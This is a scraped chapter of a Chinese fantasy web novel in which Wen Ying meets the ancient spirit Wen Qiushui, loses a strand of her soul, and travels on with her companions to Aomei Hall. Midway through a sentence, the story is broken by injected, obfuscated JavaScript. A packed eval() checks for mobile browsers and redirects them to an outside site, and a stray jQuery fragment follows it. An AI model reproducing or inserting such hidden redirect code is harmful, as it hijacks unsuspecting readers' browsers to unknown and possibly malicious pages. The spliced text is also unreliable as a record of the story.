一句话,倒是让望若絮背后发凉,沙兵扮人?一个妖孽长得兽头丑陋,四肢甚至都不全,扮演人类,其中血腥不言而喻。
温迎看着望若絮这副模样,柔柔的笑了一声,安慰道,“好久之前的事情了,只不过这个习惯保留下来了而已。”又给她拿了杯热茶,便起身去到巡逻弟子的队伍中。
赶路的这两日总觉着白昼转瞬即逝,这黑夜则是漫长无比,行走其中,感受着再熟悉不过的寒风,向远方看去,飞玉沙群山依旧立在交界处,夏末的群山已经落了雪,再过不久就是千里雪飘了。
走至无人处看向巍峨的飞玉沙群山,月亮挂在群山一侧,花瓣随风而落,恍惚间好像看见了柳絮细雪,温迎低眸看向不远处——是真的雪。
“今年温州的夏末,这么快就飘雪了吗?”
耳边响起悠然的琴声,隐隐约约的,时而听见时而消失,温迎回头四望,无人无踪,沙兵不会弹琴,也没那个闲心思弹琴,能弹的只有人。
“不知来人是谁?可否一见?”
那“人”无回应,温迎唤出佩剑,左手持玉筒秋水长弓,她不知不觉离营地也有一段距离了,这人若对队伍有害,那也方便除掉。
飘雪铺在地上,落成了一条小路,连接远方,来到温迎脚下,像是指引着她去哪。
秋水长弓亮了亮,暖流自玉筒传入温迎手心,她壮着胆子,一步一看的顺着小路前往远处。月光越来越亮,照在花树林中如梦似幻,仿佛置身幻境当中。眨眼间,温迎已身处飞玉沙群山。
飞玉沙群山,雪,琴声,还有秋水长弓,她想到了一个人,一个千年前的人——温秋水。
“温秋水前辈,可是您?”
琴声截然而止,漫天飘雪之下温迎却不觉得冷,眼前是白茫茫的一片天地,寒风吹起她的衣摆,淡红色的衣衫在天地白雪之间尤为显眼,如傲雪梅花,屹立其中。
“正是。”
声音与秋水长弓一模一样,一道人影自雪中而来,缓缓现形。少女一袭白袍,仙风道骨,手持玉柄纸伞带着雪,目光澄澈,眉目温柔,银丝垂落,一步一步走到温迎面前。
她仿若与天地融为一体。
“千年驻守,我总算等来了你。”
伸手为温迎摘去发上落雪,淡淡一笑,随即一掌拍在温迎胸口处,眉目依旧温柔,手上力道却不减,像是要从心脏处活生生扯下什么东西一样。
“……前辈!”
佩剑叮当落地,温迎面色痛苦,握住她的手,试图移开,却无法撼动这手掌分毫,她的手像是定在心口处一般,自己被她灵力吸着,也动不得。
“好孩子。今日取你一缕生魂,望你他日顺遂一生。”
手猛地抽开,温迎一口鲜血吐了出来,染红了这洁白的雪地,也染红了温秋水的衣摆,她大口喘着气,心口抽抽的疼。
“莫怪我,天下之大,我欲存我半点私心。”
你切要顺遂一生。
手抚在温迎的头上,如同慈爱的母亲,眼中尽是柔和,温迎随即失去意识陷入昏迷,被温秋水抱在怀里朝着飞玉沙群山的山脚走去。
“秋水长弓,好久不见。”她看见温迎手中的玉筒,穿过千年时光的变迁见着了那时飞玉沙群山下的自己。
秋水长弓在众器谷隔着一层薄薄的屏障看着这一幕,她千年未见的主人,她的造物主,沧海桑田过去,温秋水她依旧如初。眼前一时间有些恍惚,好似回到的千年前,她守在温秋水身旁,当她的器灵。
这一面,让秋水长弓觉着千年等待也不是那么漫长,也没有那么痛苦,一切都是值得的,能在世间上再见你一面,足矣。
山脚下,温秋水将伞放在温迎身侧,挡住落雪,随后心中有感应一般,隔着虚无对众器谷的秋水长弓缓缓说道,“愿你安好。”
一眼千年,那是千年前的温秋水,是千年后的秋水长弓。温秋水消失,温迎被那伞送回了营帐中去,她无法离开飞玉沙群山,也无法让其他人看见她,不过一缕生魂,留在这里坚守最后的任务。
次日醒来,温迎一切如初,口中没有血腥味,心口抽抽的疼也消失了,像是从未发生过一样。
如若是梦,她为何没有回来的印象,为何那疼的如此真实?
她起身坐了起来,瞥见了角落里的那把玉柄纸伞,才发觉这一切不是梦。温秋水先辈抽了她一缕生魂,她见到了千年前的温秋水。
“着实有些……令人难以相信。”
门外有脚步声传来,温迎即刻收拾好走了出去,就见到望若絮走了过来,“昨晚你巡逻。都没有回来和我打声招呼就回去了,是太累了?”
温迎想着,温秋水先辈既然大费周章将她引去远处,那便是此时不便说与他人听,于是就顺着望若絮的话接了下去。
“是啊,昨夜巡完逻回来眼睛都快睁不开了,见着营帐就倒下去了。”
“今早傲梅殿的弟子已经将行囊都送去傲梅殿了,我便让弟子们分批传送过去,也省事。”
“那如今还剩下……”
“我们八个……”
望若絮实在是有些难办,当时顾着先把弟子们送走了,忘记这里几个伤员光凭他三带不走。但凡多醒一个都好,四个人开八人的传送阵还好些,可如今三个带五个走,难办。
温迎讪笑,这确实是难办,且不说如今她和初随空还带着伤,光是开阵法都难。
“风烟君,如若加上我呢?”
这声音……好久没听到了——望松溪。望若絮回头一看,果然是望松溪,望若絮不由得眼睛一亮。
“你小子怎么没走?”
“收拾完文书出来发现周围空了,应该是被某位师姐忘记了。”
很显然这“某位师姐”指的便是望若絮,忘记了也是真的,她都多久没见着望松溪了,当时安排传送的时候也是看见谁就安排在一起的。
“若是以后望澈君不在,风烟君此等事情还是交给在下的好。”以防再有弟子被落下。
望松溪双手环胸,眼下还带着点乌青,想来是昨晚没有休息好,这也让脸上的埋怨更明显了些。温迎见着这弟子一副小大人的模样,倒是记起来在哪见过了,那时候好像望若絮还捉弄他来着,没想到现在倒是被他训了。
“再议再议,快来搭把手。”
温迎见她拙劣的打马虎眼,略有些无奈的笑着摇头,挥手将营帐收回百宝囊中,与二人一同去找
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499767|186001||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那几个伤员。望松溪是不含任何杂质的无奈,他已经不止一次的,在望若絮面前摆出那副面无表情又略带无语的神色了。
“温迎抱温颂,望松溪带望澈、穆非规,然后……”望若絮眼神示意了一下,初随空看着余下的祁夜肆和初苍明,自然是明白的。
“罢了……”两个八尺的男子抗在肩上,纵使初随空身高与他们相差无几,但也难免费力。
“你要一人起阵?”
温迎有些诧异的看着她,望若絮点点头,双手掐诀,几人脚下金光乍亮,将众人笼罩其中,不过须臾之间,已然到了傲梅殿的入口处。
百里梅花海,天上琼楼浮光殿,百州玉宇梅花海。
“温迎!你们来了!”
寒光暮带着三名弟子前来迎接,初随空立刻将沉的要死的祁夜肆递给了其中一名,望松溪也是把穆壹交给了另一名弟子,着实是沉啊。
“请进,州主们已在大殿内等候。”
望若絮接过温迎手中的温颂,说道,“你抱了一路了,我正好想去休息,便带温颂一起去吧。”
“这……”
“你别闲着啊,跟州主汇报事情的任务就交给你了,我要一觉睡到秋猎。”
温迎虽然是明白望若絮什么心思,但依旧有些担心她的身子撑不撑的住,只见眼前人推搡两下,还是笑着点头答应,嘱咐弟子们一定要好生安置这几人,毕竟是在来温州的时候受的伤,那千首狰牛也是温州镇压的沙兵。
“我听闻你们遇到了暮疆四十八妖之一的千首狰牛?”
“嗯,已经斩杀了。”
寒光暮突然定在原地眉头紧锁,温迎不解的看着他,“怎么了?”
“先不去州主那了,我会禀明情况,你先去医师那把脉。”
眼见他这般严肃,温迎噗嗤一声笑了出来,调侃道,
“都杀完了你才说这话?未免太迟了些。”
“不,我们都是从传送来傲梅殿的弟子口中听到的,在他们来之前,傲梅殿没有人知道这件事。”
这一句话让温迎愣住了,他们数百名弟子给傲梅殿传信,无一人知悉,州主们亦是。如若不是有人有意为之,她想不到任何能够解释的缘由。
“这几日州主们可有何发现?”
“并未有,若是发现,倒是前几日……望州主和穆州主玩性大发,拉着几个长老研究了一晚的阵法,将我们所有人直接送到了傲梅殿。”
“所以……你们在启程的……”
“次日便到了傲梅殿,尚未出浮光山地界。”
见温迎面色不好,寒光暮带着担心上前低声询问,“可是有什么不对?”
“我无事,先去禀报州主吧。”
寒光暮不允,说什么都要让她先去医师那看看,“此非小事,你且当我多疑,去医师那把个脉吧。”
温迎轻笑一声,忽而凑近了一步,笑吟吟的看着寒光暮,“去医师那便拖太久了些,不然寒医师替我把个脉?”
说这话的时候,寒光暮一下子从耳朵烧到脖颈,后退半步不敢看温迎,支支吾吾的说不出来话,手紧张的攥着侧头看地板。
“寒医师不肯,那还是先去找州主吧。”